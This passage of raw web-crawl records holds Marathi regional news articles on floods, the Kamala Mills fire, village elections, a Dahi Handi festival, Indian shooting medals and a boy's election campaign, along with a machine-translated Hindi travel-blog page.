(ता. २५ ) बिबट्याचे...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nखरसुंडीत सिद्धनाथ मंदिरात सेवेकरी व देवस्थान ट्रस्ट यांच्यात जोरदार वाद\nआटपाडी : खरसुंडी येथील सिद्धनाथ मंदिरांत पौर्णिमेनिमित्त दर्शनबारीत केलेल्या बदलावरुन सेवेकरी व देवस्थान ट्रस्ट यांच्यात जोरदार वाद झाला....\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00371.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Kolhapur/Kolhapur-Gaganbawda-road-closed/", "date_download": "2018-09-25T17:23:22Z", "digest": "sha1:HXJCIGDN6YRV22Q2SUKNOUTFZJ6V2WNB", "length": 6102, "nlines": 36, "source_domain": "www.pudhari.news", "title": " कोल्हापूर-गगनबावडा मार्ग पाण्यात | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Kolhapur › कोल्हापूर-गगनबावडा मार्ग पाण्यात\nपश्‍चिम पन्हाळ्यातील कळे परिसर, धामणी खोर्‍यात व गगनबावडा तालुक्यामध्ये झालेल्या मुसळधार पावसामुळे कुंभी व धामणी नद्यांच्या पाणी पातळीमध्ये वाढ झाली. कोल्हापूर-गगनबावडा मार्गावर गगनबावडा तालुक्यातील लोंघे-किरवे, मांडुकली, मार्गेवाडी व खोकुर्ले येथे पुराचे पाणी आल्याने या मार्गावरील वाहतूक पूर्णपणे ठप्प झाली. दरम्यान, तांदूळवाडी (ता. पन्हाळा) व तिसंगीपैकी टेकवाडी (ता. गगनबावडा) या गावांना बेटाचे स्वरूप प्राप्‍त झाले आहे.\nकोल्हापूर-गगनबावडा मार्गावर मांडुकली येथे सोमवारी पहाटे पुराचे पाणी आले. त्यानंतर सकाळी मार्गेवाडी व खोकुर्ले येथे पुराचे पाणी आले. सकाळी अकराच्या सुमारास लोंघे-किरवे दरम्यान पुराचे पाणी आले. सायंकाळी सहाच्या सुमारास या ठिकाणी सुमारे दोन फूट पाणी पातळी होती. तांदूळवाडी-गोठे दरम्यान कुंभी नदीचे पाणी सुमारे चार ते पाच फूट आले आहे. तसेच तांदूळवाडी व बालेवाडी (ता. गगनबावडा) दरम्यानच्या ओढ्यावर पुराचे पाणी आल्याने तांदूळवाडी गावाला बेटाचे स्वरूप आले असून या ठिकाणचा संपर्क पूर्णपणे तुटला आहे. तिसंगीपैकी टेकवाडी गावालाही बेटाचे स्वरूप आले. मार्गेवाडी (ता. गगनबावडा) नवीन वसाहतीशेजारी पावसामुळे माती घसरल्यामुळे या ठिकाणी तहसीलदार रामसंग चव्हाण यांनी भेट दिली.\nजांभळी खोर्‍यातील मानवाड (ता. पन्हाळा) पांडुरंग कृष्णात गुरव व राजेंद्र गुरव या दोघांच्या घरामध्ये पाणी आल्याने या दोन कुटुंबाचे स्थलांतर करण्यात आले आहे. दरम्यान, कोल्हापूर-गगनबावडा राज्य मार्ग बंद झाल्याने कळे पोलिसांनी कळे येथे व गगनबावडा पोलिसांनी लोंघे येथे सर्व वाहने रोखली आहेत. कळे-मरळी दरम्यान पाण्याची पातळी रस्त्याच्या खाली एक ते दीड फूट आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00371.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/kamala-mil-fire-accident-issue-in-mumbai/", "date_download": "2018-09-25T17:16:35Z", "digest": "sha1:4BZKJGJ4SINHK3H4Q4CHEZXNZ6COHBYK", "length": 5003, "nlines": 57, "source_domain": "www.pudhari.news", "title": " कमला मिल आग : पाच अधिकारी निलंबित | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › कमला मिल आग : पाच अधिकारी निलंबित\nकमला मिल आग : पाच अधिकारी निलंबित\nकमला मिल कंपाऊंडमधील 'वन-अबव्ह' पब आणि 'हॉटेल मोजोस ब्रिस्टोल'ला पार्टी सुरू असताना गुरुवारी रात्री साडेबारा वाजता आग लागली होती. या दुर्देवी घटनेत १५ जण ठार तर, १२ जण जखमी झाले होते. याप्रकरणी पालिकेच्या ५ अधिकार्‍यांना निलंबित करण्यात आले आहे. यामध्ये मधुकर शेलार, धनराज शिंदे, महाले, पडगिरे, एस. एस. शिंदे यांना निलंबित करण्यात आले आहे.\nपुढील तपास सुरू असल्याचे प्रशासनाने सांगितले आहे.\nकमला मिल आग : अनधिकृत बांधकामाने केला घात\nकमला मिल दुर्घटनेची CBI चौकशी करा: विखे-पाटील\nमुंबई : कमला मिल अग्नितांडव, १५ जणांचा मृत्यू(व्हिडिओ)\nकमला मिल्स आग : आणि 'ती'ची इच्छा अपूर्णच राहिली\n12 वाजता केक कापला, साडेबारा वाजता अंत झाला\nकमला मिल दुर्घटना: राहुल गांधीचे मराठीतून ट्विट\nकमला मिल आग: पब मालकांवर मनुष्यवधाचा गुन्हा\nकमला मिल आग : पाच अधिकारी निलंबित\nकमला मिल आग : अनधिकृत बांधकामाने केला घात\nकमला मिल दुर्घटनेची CBI चौकशी करा: विखे-पाटील\n...आणि 'ती'ची इच्छा अपूर्णच राहिली\nकमला मिल दुर्घटना: राहुल गांधीचे मराठीतून ट्विट\nमुकेश अंबानींकडून बंधु अनिल यांना 23 हजार कोटींचा 'आधार'\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00371.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/grampanchayat-election-issue-in-satara-district/", "date_download": "2018-09-25T17:18:27Z", "digest": "sha1:XZVFN7AX7JH6Z4MXZLRS5G35JC6JEEHG", "length": 7123, "nlines": 34, "source_domain": "www.pudhari.news", "title": " ७७ ग्रा.पं.तींच्या निवडणुका जाहीर | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › ७७ ग्रा.पं.तींच्या निवडणुका जाहीर\n७७ ग्रा.पं.तींच्या निवडणुका जाहीर\nजिल्ह्यातील 77 ग्रामपंचायतींच्या सार्वत्रिक निवडणुकांचा कार्यक्रम जाहीर झाला आहे. 5 फेब्रुवारीपासून उमेदवारी अर्ज भरण्यास सुरुवात होणार आहे. 10 फेब्रुवारीपर्यंत उमेदवारी अर्ज भरण्याची अंतिम मुदत असून दि. 25 फेब्रुवारीला मतदान होणार आहे. जिल्ह्यातील 427 ग्रामपंचायतींच्या 804 रिक्‍त जागांसाठीही पोट निवडणूक होणार आहे.\nमार्च ते मे महिन्यादरम्यान मुदत संपणार्‍या तसेच नव्याने स्थापन झालेल्या ग्रामपंचायतींच्या सार्वत्रिक निवडणुकांचा कार्यक्रम राज्य निवडणूक आयोगाने जाहीर केला आहे. ही निवडणुकीत थेट सरपंच, सर्व ग्रामपंचायत सदस्यांसाठी तसेच रिक्‍त पदांच्या पोट निवडणुकांसाठी निवडणूक कार्यक्रम जाहीर झाला आहे. या निवडणुकीची नोटीस संबंधित तहसीलदार दि. 25 रोजी काढणार आहेत. जिल्ह्यात 217 ग्रामपंचायतींची दोन महिन्यांपूर्वीच सार्वत्रिक निवडणूक झाली होती. या निवडणुकीचा धुरळा बसला नाही तोच पुन्हा 77 ग्रामपंचायतींच्या सार्वत्रिक निवडणुका होत असल्याने ऐन थंडीत राजकीय वातावरण तापण्याची चिन्हे आहेत. निवडणुका होत असलेल्या ग्रामपंचायतींमध्ये मोठ्या ग्रामपंचायतींचाही समावेश आहे. सातारा तालुक्यातील वडगाव, धावडशी, कारी, लुमणेखोल; कोरेगाव तालुक्यातील मुगाव, शिरढोण, भाटमवाडी; जावली तालुक्यातील सांगवी तर्फे मेढा, आगलावेवाडी, आसणी, बिभवी, गांजे, गोंदेमाळ, ओखवडी, पानस तळोशी, वाळंजवाडी, ऐकीव, भोगवली तर्फ मेढा, कावडी, कोळघर, तेटली, भाटघर, केळघर तर्फ सोळशी, वाघदरे; कराड तालुक्यातील बानुगडेवाडी, भोसलेवाडी, गोसावेवाडी, हेळगाव, कांबीरवाडी, पिंपरी, रेठरे बु॥, सयापूर, शेळकेवाडी (येवती), टेंभू, येणपे, यशवंतनगर, येवती; पाटण तालुक्यातील कुसरुंड, बेलवडे खुर्द, शितपवडी, चौगुलेवाडी, गावडेवाडी, उधवणे, रुवले, जिंती, गमेवाडी, गुंजाळी, किल्‍लेमोरगिरी; वाई तालुक्यातील कोंढावळे, विठ्ठलवाडी, खडकी, वडोली, चिंधवली, ओहळी; महाबळेश्‍वर तालुक्यातील पर्वत तर्फ वाघावळे, देवळी, मांघर, अवकज्ञाळी, पारुट, गुरेघर, रेणोशी, निवळी, आरव, लामज, मोरणी, सालोशी, वलवण, आचली, उचाट; खटाव तालुक्यातील फडतरवाडी (बुध), पांगारखेळ, उंबरमळे, बुध, काटेवाडी तर माण तालुक्यातील बिंजवडी या गावांचा समावेश आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00371.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/20-feet-Dahi-Handi-Govind-broke-in-solapur-city/", "date_download": "2018-09-25T16:53:39Z", "digest": "sha1:ZE7MVZI6KZRP3PBW2N3PLENEVLICJ6SY", "length": 7790, "nlines": 37, "source_domain": "www.pudhari.news", "title": " पाच थरांचा थरार; 20 फुटांवरील दहीहंडी गोविंदांनी फोडली | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › पाच थरांचा थरार; 20 फुटांवरील दहीहंडी गोविंदांनी फोडली\nपाच थरांचा थरार; 20 फुटांवरील दहीहंडी गोविंदांनी फोडली\n‘गोविंदा रे गोविंदा’च्या गाण्याचा स्पिकरवर बेभान होऊन नाचणारे गोविंदा, पाण्याचा टँकरव्दारे सातत्याने त्यांच्या अंगावर सुरु असलेला पाण्याचा वर्षाव, मधूनच गुलालाची उधळण अशा चिंबचिंब भिजलेल्या गोविंदांनी एकावर एक चढत थरावर थर रचायला सुरुवात केली. ओल्या अंगावरून एखादा जरी गोविंदा घसरला की अख्खा थर कोसळायचा आणि पुन्हा दुप्पट जोशाने नव्याने थर रचायला सुरुवात होत होती. अनेकदा पडून पुन्हा थर रचून अखेर दीड तासाच्या प्रयत्नांतून पाच थरावर चढलेल्या गोविंदांच्या हाती वीस फुटांवरील दहीहंडी आली आणि ती फोडताच लाह्या-दुधाचा अभिषेक सार्‍या थरातील गोविंदांना झाला आणि पुन्हा ‘गोविंदा रे गोविंदाचा’ जल्लोष झाला.\nसोलापुरातील बाळी वेस परिसरामध्ये सर्वात मोठी दहीहंडी फोडण्याची परंपरा सुमारे शंभर वर्षांपासूनची आहे. ह.भ.प. लक्ष्मण महाराज यांनी ही परंपरा सुरु केली होती. ती वडार समाजबांधवांनी आजपर्यंत अखंडपणे अबाधित राखली आहे.\nयंदाही सालाबादाप्रमाणे कृष्णाष्टमीच्या दुसर्‍या दिवशी वडार समाज मंदिरातून श्रीकृष्णाची पालखी वाजतगाजत निघाली. बाळी वेस येथे येईपर्यंत वाटेतील सुमारे पाच दहीहंडी पालखीत सहभागी झालेल्या गोविंदांनी फोडल्या. मात्र बाळी वेसमधील सर्वात प्रमुख आणि सर्वात उंच दहिहंडी फोडतानाचा थरार पाहण्यासाठी अवघे सोलापूर लोटले होते. बाळी वेस येथील दहीहंडी फोडल्यावर पुढे चाटी गल्ली, पश्‍चिम मंगळवार पेठ पोलिस चौकी, मधला मारुती, माणिक चौक, जुनी फौजदार चावडी, दत्त चौक, नवी पेठ, गंगाविहार, चौपाड, नवजवान गल्ली, पत्रा तालीममार्गे पुन्हा वडार गल्ली येथे आल्यावर पालखीचा समारोप झाला.\nयादरम्यान वडार समाजबांधवांबरोबर सार्‍या जाती-धर्माच्या गोविंदांनी सहभाग घेतला. पालकमंत्री विजयकुमार देशमुख यांच्या हस्ते पूजा करून पालखीला सुरुवात झाली. यावेळी डॉ. किरण देशमुख, माजी नगरसेवक जगदीश पाटील, अनंत जाधव, उपमहापौर शशिकला बत्तुल, महिला बालकल्याण सभापती बिर्रु, बसपाचे गटनेते आनंद चंदनशिवे, वाडियाराजचे संस्थापक नितीन बंदपट्टे, नागनाथ चौगुले, दयावान ग्रुपचे अध्यक्ष अशोक अलकुंटे, विशाल शिंगे, सचिन इरकल, भीमाशंकर बंदपट्टे, निलेश यमपुरे, सचिन अलकुंटे आदी उपस्थित होते. कार्यक्रमाचे संयोजन दयावान ग्रुपचे संस्थापक अध्यक्ष विनायक विटकर यांनी केले होते. यावेळी ‘महिलांची सुरक्षा’ ही थीम घेऊन चौकाचौकांत जनजागृती करण्यात आली.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00371.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.ansichtssachen-blog.de/?p=6822&lang=hi", "date_download": "2018-09-25T17:05:39Z", "digest": "sha1:TFKXB6CT477IEBNDXFWO2CEBTTPA6ZLT", "length": 9036, "nlines": 101, "source_domain": "www.ansichtssachen-blog.de", "title": "नमस्ते! और, यहाँ क्या! | Ansichtssachen दुनिया की सैर, ब्लॉग, यात्रा रिपोर्टें, Reisefotos, रिपोर्ट, तस्वीरें", "raw_content": "\nवास्तविकता एक ब्लेड के बिना एक चाकू है, पकड़ के अभाव.\nतिथि: बुधवार, 23. जून 2010 10:55\nटिप्पणी फ़ीड: फ़ीड 2.0 इस अनुच्छेद पर टिप्पणी.\nसोमवार, 15. नवम्बर 2010 22:12\nमार्टिन + अहमद उत्तर:\nशुक्रवार, 28. जनवरी 2011 16:27\nE-mail (प्रकाशित नहीं किया जाएगा, आवश्यक)\nमुझे अनुवर्ती ई via टिप्पणियाँ ऊपर की सूचित-mail\nसमीक्षा - हवाई और मध्य अमेरिका\nसमीक्षा - दक्षिण पूर्व एशिया - ऑस्ट्रेलिया - न्यूज़ीलैंड\nलेखक के बारे में\nअन्य दुनिया ट्रैवेलर्स की समीक्षा\nश्रेणी चुनें विदाई (9) आम (13) हर दिन (12) ब्लॉग टी वी (2) मीडिया (2) आकृति श्रृंखला (311) संभावना (13) वापसी (1) शीर्षक (89)\nअहमद पर Nazca की लाइनें और Cessna के साथ उड़ान\nWim bei Nazca की लाइनें और Cessna के साथ उड़ान\nAnnette पर नाइट द्वारा Cahuita\nपर Annette नाइट द्वारा Cahuita\nसमीक्षा - हवाई और मध्य अमेरिका\nसमीक्षा - दक्षिण पूर्व एशिया - ऑस्ट्रेलिया - न्यूज़ीलैंड\nनहरों की, Hausbooten, साइकिल और पनीर…\nविश्व प्रेस \"पुराने चर्च में Austellung फोटो\"\nएम्स्टर्डम - हाउसबोट क्रूज का प्रयोग पर\nDover के सफेद चट्टानों\nVigo - यूरोप में सबसे बड़ा मछली पकड़ने के बंदरगाह\nसेन फ्रांसिस्को, रियो डी जेनेरो या लिस्बन - कि सवाल है\nलॉग इन रहने में\nAngkor अर्जेंटीना ऑस्ट्रेलिया बाली क्रंग थेप बड़ा द्वीप बोलीविया ब्राज़िल Cahuita चिली कोस्टा रिका क्यूबा इक्वाडोर गैलापागोस ग्वाटेमाला ला हबना हवाई कैथरीन द्वीप इंडोनेशिया जावा कंबोडिया खो PHI PHI कोलम्बिया मलेशिया माउ माया मेकांग मेक्सिको न्यूज़ीलैंड निकारागुआ उत्तरी द्वीप पनामा Patagonia पेरू क्वींसलैंड दक्षिण द्वीप थाईलैंड उरुग्वे संयुक्त राज्य अमरीका वियतनाम\nWordPress abc | विषय \"एवेन्यू\" पैड से.", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00372.warc.wet.gz", "language": "mr", "language_score": 0.5, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%B9%E0%A5%83%E0%A4%A6%E0%A4%AF-%E0%A4%B9%E0%A4%9D%E0%A4%BE%E0%A4%B0%E0%A4%BF%E0%A4%95%E0%A4%BE-%E0%A4%AE%E0%A4%B9%E0%A4%BF%E0%A4%B2%E0%A4%BE-%E0%A4%B8%E0%A4%82%E0%A4%98%E0%A4%BE%E0%A4%B2/", "date_download": "2018-09-25T16:33:23Z", "digest": "sha1:JYJPWESN6CGLQP7XAXI3BJC5JMISWCJD", "length": 11544, "nlines": 141, "source_domain": "www.dainikprabhat.com", "title": "हृदय हझारिका, महिला संघाला सुवर्ण | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nहृदय हझारिका, महिला संघाला सुवर्ण\nजागतिक नेमबाजी अजिंक्‍यपद स्पर्धेत विक्रमी कामगिरी\nचांगवेन: कोरियात सुरू असलेल्या जागतिक नेमबाजी अजिंक्‍यपद स्पर्धेत भारतीय नेमबाजांनी पदकांची लयलूट कायम ठेवली आहे. भारताच्या ह्रदय हझारिकाने ज्युनियर गटातील मुलांच्या 10 मीटर एअर रायफल नेमबाजी प्रकारात सुवर्णपदकाची कमाई केली. सांघिक प्रकारातही भारतीय महिलांनी विश्‍वविक्रम प्रस्थापित करताना सुवर्णपदकाची कमाई करीत भारताला दुहेरी सुवर्णयश मिळवून दिले.\nयानंतर झालेल्या महिलांच्या 10 मीटर एअर रायफल एकेरी स्पर्धेत भारताच्या एलॅवेनिल व्हॅलेरिवनने 249.8 गुणांची कमाई करताना रौप्यपदक पटकावले. याच गटांत चीनच्या शि मेंगयावने 250.5 गुणांची कमाई करत सुवर्णपदक संपादन केले. तसेच केवळ 17 वर्षे वयाच्या श्रेया आगरवालने 228.4 गुणांची नोंद करताना कांस्यपदक जिंकत भारताला दुहेरी यश मिळवून दिले. आजच्या चार पदकांमुळे स्पर्धेच्या सहाव्या दिवसअखेर भारताने 18 पदके जिंकून विक्रमी कामगिरी केली आहे. भारताची याआधीची सर्वोत्तम कामगिरी 6 पदकांची होती.\nत्याआधी भारताकडून ह्रदय हझारिकाने 10 मीटर एअर रायफलच्या पात्रता फेरीत 627.3 गुण मिळवीत अंतिम फेरीत आपलं स्थान पक्‍के केले होते. अंतिम फेरीत शेवटच्या संधीनंतर इराणच्या मोहम्मद आमीर याच्याशी 250.1 गुणांसह बरोबरी झाल्यानंतर सुवर्णपदकासाठी घेण्यात आलेल्या “शूट ऑफ’मध्ये हृदयने बाजी मारली. इराणचा मोहम्मद आमीर 250.1 गुण मिळवीत दुसऱ्या स्थानावर राहिला. त्याला रौप्यपदक मिळाले तर रशियाच्या ग्रिगोरी शामाकोवला 228.6 गुणांसह कांस्यपदकावर समाधान मानावे लागले.\nमात्र 50 मी. रायफल थ्री पोझिशन प्रकारात भारताच्या पुरुष संघाने निराशाजनक कामगिरी केली. वरिष्ठ गटातील या स्पर्धेत एकाही भारतीय नेमबाजाला अंतिम फेरीत पोहोचता आले नाही. भारतीय पुरुष संघ 1872.3 गुणांसह चौथ्या स्थानावर राहिला. आशियाई स्पर्धेतील रौप्यपदक विजेता संजीव राजपूतला 1158 गुण कमावता आल्याने तो 58 व्या स्थानावर राहिला. स्वप्निल कुसाळेला 1161 गुण मिळाल्याने तो 55व्या स्थानी राहिला, तर अखिल शेवरानने 1167 गुण कमावताना 44वे स्थान गाठले. या तीनही खेळाडूंना लौकिकाला साजेशी कामगिरी करता न आल्याने भारतीय संघाला 11 व्या स्थानावर समाधान मानावे लागले.\nएलॅवेनिल व्हॅलेरिवनची दुहेरी कामगिरी\nमहिलांच्या 10 मी. एअर रायफल प्रकारातील सांघिक गटात एलॅवेनिल व्हॅलेरिवन, श्रेया अग्रवाल, मनिनी कौशिक यांनी धडाकेबाज कामगिरी करत भारताच्या खात्यात आणखी एका सुवर्णपदकाची भर घातली. एलॅवेनिल व्हॅलेरिवनने 631 गुण मिळविताना सर्वोत्तम कामगिरी केली. श्रेया अग्रवालने 628.5 गुण नोंदवले, तर मानिनी कौशिकने 621.2 गुण नोंदवताना सोनेरी यशात मोलाचा वाटा उचलला. त्यांच्या या कामगिरीने भारतीय संघाने एकूण 1880.7 गुणांची कमाई करताना सुवर्णपदकावर आपले नाव कोरले. यावेळी एलॅवेनिल व्हॅलेरिवनने नोंदविलेल्या 631 गुणांनी ज्युनियर विश्‍वचषकातील नवा विश्‍वविक्रम स्थापित केला. महिलांच्या 10 मीटर एअर रायफल एकेरीतील रौप्यपदकामुळे एलॅवेनिल व्हॅलेरिवनने एकाच दिवशी दुहेरी पदकांची नोंद केली.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleसरकार उलथवून टाकण्यास जनतेने साथ द्यावी\nNext articleभूसंपादनासाठी रोख मोबदला मागू नका\nयुरोप संघाने राखला लेव्हर करंडक\nयुझुवेंद्र चहाल सर्वात जलद 50 बळी घेणारा लेगस्पिनर\nमॅथ्यूजची हकालपट्टी, चंडीमलची नियुक्‍ती\nमधल्या फळीची चाचणी घेण्याची भारताला संधी ; अफगाणिस्तानविरुद्ध आज लढत\nअनुभवी आणि कुशल गोलंदाजांची फळी हेच भारताच्या यशाचे गमक – युझुवेंद्र चहाल\nकोरिया ओपन वर्ल्ड टूर बॅडमिंटन स्पर्धा; सायना नेहवाल, समीर वर्मा यांच्यावर भारताची मदार\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00372.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A5%A9%E0%A5%AC%E0%A5%AB-%E0%A4%A6%E0%A4%BF%E0%A4%B5%E0%A4%B8-%E0%A5%A8%E0%A5%AA-%E0%A4%A4%E0%A4%BE%E0%A4%B8-%E0%A4%8F%E0%A4%95%E0%A4%9A-%E0%A4%A7%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%B8-%E0%A4%97/", "date_download": "2018-09-25T17:33:09Z", "digest": "sha1:2KI7YKDPSLTVDGCVFQKYSYA3MRRCLB2Y", "length": 11296, "nlines": 139, "source_domain": "www.dainikprabhat.com", "title": "‘३६५ दिवस २४ तास, एकच ध्यास गावाचा विकास…’ | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\n‘३६५ दिवस २४ तास, एकच ध्यास गावाचा विकास…’\n३६५ दिवस २४ तास, एकच ध्यास गावाचा विकास.... हा नारा घेवून निवडणूकीच्या रणांगणात उतरलेला हा अवघा १५ वर्षांचा अभिमन्यू मतदारांना माहिती देताना. छाया :- नितिन शेळके\nहा नारा घेवून निवडणूकीच्या रणांगणात उतरलेला अवघा १५ वर्षांचा अभिमन्यू\nसंगमनेर : संगमनेर तालुक्याच्या पठार भागातील घारगाव या राजकिय व सामाजिक चळवळींच्या गावातील ग्रामपंचायतीच्या पंचवार्षिक निवडणूकीत, प्रभाग तीन मधील अपक्ष उमेदवार संतोष लक्ष्मण पिसाळ यांच्या नववीतल्या मुलाने सुरु केलेला प्रचाराचा फंडा चांगलाच लोकप्रिय होत आहे.\nघारगाव ग्रामपंचायतीच्या निवडणूकीत सदस्यपदासाठी अपक्ष म्हणून निवडणूक लढविणारे संतोष पिसाळ यांना काही महिन्यांपूर्वी झालेल्या अपघातात पायाला मार लागल्याने त्यांच्या हालचालींवर मर्यादा पडल्या आहेत. मात्र त्यांच्या प्रचाराची सर्व जबाबदारी भारत हायस्कूल मध्ये इयत्ता नववीत शिकणाऱ्या त्यांचा मुलगा राजवर्धन या मुलाने सांभाळली आहे. त्यासाठी मोबाईल या आधुनिक प्रचार माध्यमाचा उपयोग त्याने सुरु केला. त्याचबरोबर त्याच्या प्रभाग तीन मधील मतदारांच्या घरी जाऊन, त्यांच्याशी संपर्क साधण्याचे, निवडणूक चिन्ह समजावून देण्याचे कामही तो एकट्यानेच करतो आहे. बोलक्या, निर्धास्त, सडेतोड स्वभावाच्या राजवर्धनने अल्पावधीतच सर्वांची मने काबीज केली आहेत. आपल्या सर्वांचे लाडके उमेदवार, माझे वडील संतोष पिसाळ आपल्या ग्रामपंचायतीच्या निवडणुकीत अपक्ष म्हणून, प्रभाग तीन मधून उभे आहेत. कोणत्याही पक्षाचा शिक्का नसलेल्या अपक्ष उमेदवाराला आपले मत द्या असे सांगून, तो त्यांच्या वतीने मतदारांना ते करणार असल्याच्या विकासकामांची माहिती देतो. ३६५ दिवस २४ तास, एकच ध्यास गावाचा विकास…. हा नारा घेवून निवडणूकीच्या रणांगणात उतरलेला हा अवघा १५ वर्षांचा अभिमन्यू इतर मातब्बर उमेदवारांचे चक्रव्यूह भेदण्याचा प्रयत्न करतो आहे.\nसंगमनेर तालुक्याच्या पठार भागातील घारगाव ग्रामपंचायतीच्या निवडणूकीच्या प्रचाराला तडाख्याने सुरुवात झाली आहे. पक्ष, कार्यकर्ते, संघटना यांचे पाठबळ लाभल्याने काहीसे निर्धास्त असलेल्या इतर उमेदवारांच्या पार्श्वभुमीवर, वडीलांच्या यशासाठी एकाकी झुंजणारा राजवर्धन आकर्षणाचा केंद्रबींदू ठरला आहे. इतर पक्षांच्या बाहुबली उमेदवारांच्या तुलनेतत्यांच्या पैशांच्या, ओल्या सुक्या पार्ट्यांच्या बळापुढे कोणीही प्रबळ पाठींबा किंवा कार्यकर्ताही नसताना, तो वडीलांच्या विजयासाठी धडपडत आहे. दुस्ऱअया उमेदवारावर किंवा त्यांच्या वाईट बाबींवर भाष्य करण्याचे देखील तो टाळतो. 